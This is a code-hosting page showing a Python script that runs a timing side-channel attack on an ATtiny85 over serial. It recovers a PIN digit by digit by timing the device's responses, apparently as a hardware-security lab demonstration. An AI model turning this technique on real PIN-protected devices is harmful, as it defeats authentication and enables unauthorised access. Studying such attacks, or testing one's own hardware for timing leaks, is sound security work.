Newer
Older
Hardware / SideChannel / ATtiny85_Timing_Attack / multi_digit_attack.py
0xRoM on 11 Feb 4 KB initial commit
  1. import serial
  2. import time
  3. import argparse
  4.  
  5. # Constants
  6. SERIAL_PORT = '/dev/ttyUSB0'
  7. BAUD_RATE = 9600
  8. PREFIX = ""
  9. ATTEMPTS = 3
  10. DELAY = 0.8
  11. KEYSPACE = ["1", "2", "3", "4"]
  12. BYTE_SIZE = 10 # 8 data bits + 1 start bit + 1 stop bit
  13.  
  14. def get_response_time(serial_port, message):
  15. """
  16. Function to send message, wait for response, and measure response time.
  17. """
  18. serial_port.flushInput()
  19. first_line_received = False
  20.  
  21. for i, char in enumerate(message):
  22. time.sleep(DELAY)
  23. serial_port.write(char.encode())
  24. if i < len(message)-1:
  25. raw_response = serial_port.readline()
  26.  
  27. raw_response = b''
  28. while True:
  29. byte = serial_port.read(1)
  30. if byte:
  31. if byte == b'\n' and not first_line_received:
  32. first_line_received = True
  33. elif first_line_received:
  34. start_time = time.time()
  35. break
  36.  
  37. final_response = serial_port.readline().decode(errors='ignore').strip()
  38. response_time = time.time() - start_time
  39.  
  40. print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
  41. time.sleep(DELAY)
  42. return final_response, response_time
  43.  
  44. def calculate_average_response_time(serial_port, message):
  45. """
  46. Calculate average response time over multiple attempts.
  47. """
  48. total_time = 0
  49. response_times = []
  50. for _ in range(ATTEMPTS):
  51. response, response_time = get_response_time(serial_port, message)
  52. total_time += response_time
  53. response_times.append(response_time)
  54. average_time = total_time / ATTEMPTS
  55. print(f"\r{message} average: {average_time:.4f} seconds - ", flush=True)
  56. return average_time, response_times
  57.  
  58. def identify_sequence(serial_port, length):
  59. """
  60. Identify the complete sequence of characters by sending test sequences.
  61. """
  62. prefix = ""
  63. for pos in range(length):
  64. slowest_avg = float('-inf')
  65. best_digit = None
  66.  
  67. for key in KEYSPACE:
  68. message = prefix + key + key * (length - len(prefix) - 1)
  69. print(f"Testing: {message}", end='', flush=True)
  70. avg_time, _ = calculate_average_response_time(serial_port, message)
  71. if avg_time > slowest_avg:
  72. slowest_avg = avg_time
  73. best_digit = key
  74.  
  75. prefix += best_digit
  76. print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
  77.  
  78. return prefix
  79.  
  80. def estimate_serial_time(message_length):
  81. """
  82. Estimate time taken for serial communication based on baud rate.
  83. """
  84. bits_per_second = BAUD_RATE
  85. chars_per_second = bits_per_second / BYTE_SIZE
  86. time_per_char = 1 / chars_per_second
  87. return message_length * time_per_char
  88.  
  89. def main():
  90. parser = argparse.ArgumentParser(description="PIN length argument")
  91. parser.add_argument("length", type=int, help="Length of the PIN to test")
  92. args = parser.parse_args()
  93. length = args.length
  94.  
  95. max_attempts = len(KEYSPACE) * length * ATTEMPTS
  96. serial_time = estimate_serial_time(length * len(KEYSPACE))
  97. estimated_time = max_attempts * (DELAY + DELAY + serial_time + 0.05) # Adjusted for serial delay and print time
  98.  
  99. print(f"########################################################")
  100. print(f"# Attempts: {ATTEMPTS} - Delay: {DELAY} ")
  101. print(f"# Maximum possible attempts: {max_attempts} ")
  102. print(f"# Estimated maximum time: {estimated_time:.2f} seconds ")
  103. print(f"########################################################")
  104.  
  105. start_time = time.time() # Record the start time
  106. start_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(start_time))
  107. print(f"Started at {start_timestamp}")
  108.  
  109.  
  110. with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
  111. print(f"Starting sequence identification on port {SERIAL_PORT} with PIN length {length}...")
  112. sequence = identify_sequence(serial_port, length)
  113. print(f"########################################################")
  114. print(f"# Identified sequence: {sequence}")
  115. print(f"########################################################")
  116.  
  117. end_time = time.time() # Record the end time
  118. end_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(end_time))
  119. elapsed_time = end_time - start_time # Calculate total time taken
  120.  
  121. # Convert elapsed time to appropriate format
  122. if elapsed_time > 3600: # More than 1 hour
  123. hours = int(elapsed_time // 3600)
  124. minutes = int((elapsed_time % 3600) // 60)
  125. time_str = f"{hours}h {minutes}m"
  126. elif elapsed_time > 60: # More than 1 minute
  127. minutes = int(elapsed_time // 60)
  128. seconds = int(elapsed_time % 60)
  129. time_str = f"{minutes}m {seconds}s"
  130. else:
  131. time_str = f"{elapsed_time:.2f} seconds"
  132.  
  133. print(f"\nFinished at {end_timestamp}")
  134. print(f"Total execution time: {time_str}")
  135.  
  136. if __name__ == '__main__':
  137. main()
Buy Me A Coffee